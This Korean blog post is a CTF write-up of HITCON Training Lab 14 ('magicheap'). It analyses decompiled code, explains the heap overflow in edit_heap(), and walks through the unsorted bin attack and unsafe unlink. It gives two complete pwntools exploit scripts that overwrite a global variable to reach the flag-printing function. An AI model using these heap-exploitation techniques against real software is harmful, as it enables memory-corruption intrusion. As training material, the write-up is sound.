tmxklab

hitcon training [LAB 14] 본문

War Game/hitcon training

hitcon training [LAB 14]

tmxk4221 2020. 7. 31. 20:39

1. 문제

 

1) mitigation확인

 

2) 문제 확인

 

3) 코드흐름 파악

3-1) main()

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  int v3; // eax
  char buf; // [rsp+0h] [rbp-10h]
  unsigned __int64 v5; // [rsp+8h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 2, 0LL);
  while ( 1 )
  {
    while ( 1 )
    {
      menu();
      read(0, &buf, 8uLL);
      v3 = atoi(&buf);
      if ( v3 != 3 )
        break;
      delete_heap();
    }
    if ( v3 > 3 )
    {
      if ( v3 == 4 )
        exit(0);
      if ( v3 == 4869 )
      {
        if ( (unsigned __int64)magic <= 4869 )
        {
          puts("So sad !");
        }
        else
        {
          puts("Congrt !");
          l33t();
        }
      }
      else
      {
LABEL_17:
        puts("Invalid Choice");
      }
    }
    else if ( v3 == 1 )
    {
      create_heap();
    }
    else
    {
      if ( v3 != 2 )
        goto LABEL_17;
      edit_heap();
    }
  }
}
  • v3가 4869이면서 magic값이 4869보다 크면은 l33t()가 실행됨

 

3-2) create_heap()

unsigned __int64 create_heap()
{
  int i; // [rsp+4h] [rbp-1Ch]
  size_t size; // [rsp+8h] [rbp-18h]
  char buf; // [rsp+10h] [rbp-10h]
  unsigned __int64 v4; // [rsp+18h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  for ( i = 0; i <= 9; ++i )
  {
    if ( !heaparray[i] )
    {
      printf("Size of Heap : ");
      read(0, &buf, 8uLL);
      size = atoi(&buf);
      heaparray[i] = malloc(size);
      if ( !heaparray[i] )
      {
        puts("Allocate Error");
        exit(2);
      }
      printf("Content of heap:");
      read_input(heaparray[i], size);
      puts("SuccessFul");
      return __readfsqword(0x28u) ^ v4;
    }
  }
  return __readfsqword(0x28u) ^ v4;
}
  • heaparray[i]에 size만큼 malloc하고 입력 값을 받음

 

3-3) edit_heap()

unsigned __int64 edit_heap()
{
  int v1; // [rsp+4h] [rbp-1Ch]
  __int64 v2; // [rsp+8h] [rbp-18h]
  char buf; // [rsp+10h] [rbp-10h]
  unsigned __int64 v4; // [rsp+18h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  printf("Index :");
  read(0, &buf, 4uLL);
  v1 = atoi(&buf);
  if ( v1 < 0 || v1 > 9 )
  {
    puts("Out of bound!");
    _exit(0);
  }
  if ( heaparray[v1] )
  {
    printf("Size of Heap : ");
    read(0, &buf, 8uLL);
    v2 = atoi(&buf);
    printf("Content of heap : ");
    read_input(heaparray[v1], v2);
    puts("Done !");
  }
  else
  {
    puts("No such heap !");
  }
  return __readfsqword(0x28u) ^ v4;
}
  • size에 대한 입력 값을 다시 받아 size만큼 선택한 heaparray의 index에 입력 값을 저장

  • create_heap()에서 malloc(size)보다 더 큰 값을 입력받을 수 있음

 

3-4) delete_heap()

unsigned __int64 delete_heap()
{
  int v1; // [rsp+Ch] [rbp-14h]
  char buf; // [rsp+10h] [rbp-10h]
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  printf("Index :");
  read(0, &buf, 4uLL);
  v1 = atoi(&buf);
  if ( v1 < 0 || v1 > 9 )
  {
    puts("Out of bound!");
    _exit(0);
  }
  if ( heaparray[v1] )
  {
    free(heaparray[v1]);
    heaparray[v1] = 0LL;
    puts("Done !");
  }
  else
  {
    puts("No such heap !");
  }
  return __readfsqword(0x28u) ^ v3;
}
  • heaparray[v1]를 free시키고 heaparray[v1]에 널 값을 넣음

 

3-5) l33t()

int l33t()
{
  return system("cat /home/magicheap/flag");
}

 

전역 변수)

  • magic : 0x6020c0

  • heaparray : 0x6020e0

 


2. 접근방법

 

1) 취약점이 발생하는 곳 - edit_heap()

creat_heap()을 통해 heaparray[i]에 size만큼 malloc요청을 하지만 eidt_heap()에서는 할당받은 chunk의 size를 검증하지 않고 다시 입력 값에 대한 size를 요청하여 입력 값을 채워 넣음

  • 위 그림은 0x20만큼 할당을 받은 chunk에 edit_heap()을 호출하여 overflow가 발생한 상황이다.

 

2) Unsorted bin attack

  • unsorted bin에 등록된 chunk가 다시 재할당될 때 리스트에서 삭제하면서 발생

 

3) 공격 프로세스

3-1) 3개의 chunk 생성(이 때, 한 개는 unsorted bin에 들어갈 size의 chunk생성)

 

3-2) 1개의 chunk free → unsorted bin

  • Chunk B의 fd, bk에 각각 main_arena의 주소 값이 저장되고 unsorted bin에도 fd, bk에 Chunk B의 주소 값이 저장된다.

 

3-3) heap overflow

  • Chunk A에서 heap overflow를 일으켜 Chunk B의 Header값을 위와 같이 변경한다.

  • 참고 :

    • unsorted_chunks(av) → bk : Chunk B addr

    • unsorted_chunks(av) : 0x7ffff7dd1b78

 

3-4) unsorted bin에 등록된 free chunk와 동일한 size의 chunk 재할당

① malloc요청 시 bins에서 사용 가능한 chunk를 찾지 못하고 unsorted bin에서 사용 가능한 chunk를 찾기 위해 unsorted_chunks(av) → bk와 unsorted_chunks(av)의 반환 값이 다른지 확인한다.

  • unsorted_chunks(av) : 0x7ffff7dd1b78

  • unsorted_chunks(av) → bk : Chunk b addr(victim)

  • bck = victim → bk (magic addr - 0x10)

  • 반환 값이 서로 다르므로 사용가능한 free chunk가 있다는 것을 알 수 있다.

② unsorted bin에 있는 chunk를 재할당하기 위해 unsorted bin list에서 제거한다.

  • unsorted_chunks(av) → bk = bck

    설명 : (0x7ffff7dd1b78 → bk) (0x7ffff7dd1b90) = (magic addr - 0x10)(bck)

  • bck → fd = unsorted_chunks(av)

    설명 : (magic addr - 0x10 → fd) (magic addr) = 0x7ffff7dd1b78

 

결국, magic변수가 위치한 곳에 unsorted_chunks(av)의 주소 값 (0x7ffff7dd1b78)이 저장된다.

 

 

 

+) Unsafe Unlink를 이용한 문제 풀이

  • 힙 영역을 전역변수에서 관리 → heaparray

  • heapoverflow가 가능하며 여러 개의 chunk를 만들 수 있음

  • 참고 :

 

hitcon training [LAB 11]

UAF(Use After Free)이후로 이번 문제를 풀면서 새로운 Heap Exploit기법 두 가지(House Of Force, Unsafe Unlink)를 배웠는데 따로 자세하게 정리하도록 하겠다. 1. 문제 1) mitigation확인 2) 문제 확인 3) 코..

rninche01.tistory.com

 

 


3. 풀이

 

1) Unsorted bin attack - 익스코드

from pwn import *

context.log_level="debug"

p = process("./magicheap")
e = ELF("./magicheap")
magic = e.symbols['magic']
#gdb.attach(p)

def create_heap(size, data):
	p.sendlineafter(":", str(1))
	p.sendafter(": ", str(size))
	p.sendafter(":", data)

def edit_heap(idx, size, data):
	p.sendlineafter(":", str(2))
	p.sendafter(":", str(idx))
	p.sendafter(": ", str(size))
	p.sendafter(": ", data)

def del_heap(idx):
	p.sendlineafter(":", str(3))
	p.sendlineafter(":", str(idx))

# 1. Creation 3 chunk 
create_heap(0x10, "AAAA")
create_heap(0x80, "BBBB")
create_heap(0x10, "CCCC")

# 2. free chunk(size : 0x80) -> unsorted bin
del_heap(1)  

# 3. create fake chunk
payload = "A"*0x10
payload += p64(0)
payload += p64(0x91)
payload += p64(0)
payload += p64(magic-0x10)
edit_heap(0, len(payload), payload)

# 4. magic -> main_arena.bin[0] addr(>0x1305)
create_heap(0x80, "DDDD")

p.sendlineafter(":", str(4869))

p.interactive()

 

2) Unsafe Unlink - 익스코드

from pwn import *

context.log_level="debug"

p = process("./magicheap")
e = ELF("./magicheap")
magic = e.symbols['magic']
heaparray = e.symbols['heaparray']
#gdb.attach(p)

def create_heap(size, data):
	p.sendlineafter(":", str(1))
	p.sendafter(": ", str(size))
	p.sendafter(":", data)

def edit_heap(idx, size, data):
	p.sendlineafter(":", str(2))
	p.sendafter(":", str(idx))
	p.sendafter(": ", str(size))
	p.sendafter(": ", data)

def del_heap(idx):
	p.sendlineafter(":", str(3))
	p.sendlineafter(":", str(idx))

# 1. Creation 2 chunk 
create_heap(128, "A")
create_heap(128, "B")

# 2. Creation Fake Chunk & Modify Second Chunk Header
payload = p64(0x0) + p64(0x0)
payload += p64(heaparray-24) + p64(heaparray-16)
payload += "A"*0x60
payload += p64(0x80) + p64(0x90)

edit_heap(0, len(payload), payload)

# 3. Consolidation Fake Chunk & Write Gloval Variable
del_heap(1)

# 4. magic addr -> 4870
payload = "A"*24
payload += p64(magic)
edit_heap(0, len(payload), payload)
edit_heap(0, 10, str(4870))

p.sendlineafter(":", str(4869))

p.interactive()

 

3) 실행 결과

 

 


4. References

 

unsorted bin attack - TechNote - Lazenca.0x0

Excuse the ads! We need some help to keep our site up. List Unsorted bin attack Unsorted bin attack을 이해하기 위해서는 malloc()이 unsorted bin에 등록된 chunk를 재할당 할때 해당 chunk를 unsorted bin의 list에서 삭제하는 방식�

www.lazenca.net

 

'War Game > hitcon training' 카테고리의 다른 글

hitcon training [LAB 15]  (0) 2020.08.02
hitcon training [LAB 13]  (0) 2020.07.28
hitcon training [LAB 12]  (0) 2020.07.27
hitcon training [LAB 11]  (0) 2020.07.25
hitcon training [LAB 10]  (0) 2020.07.21
Comments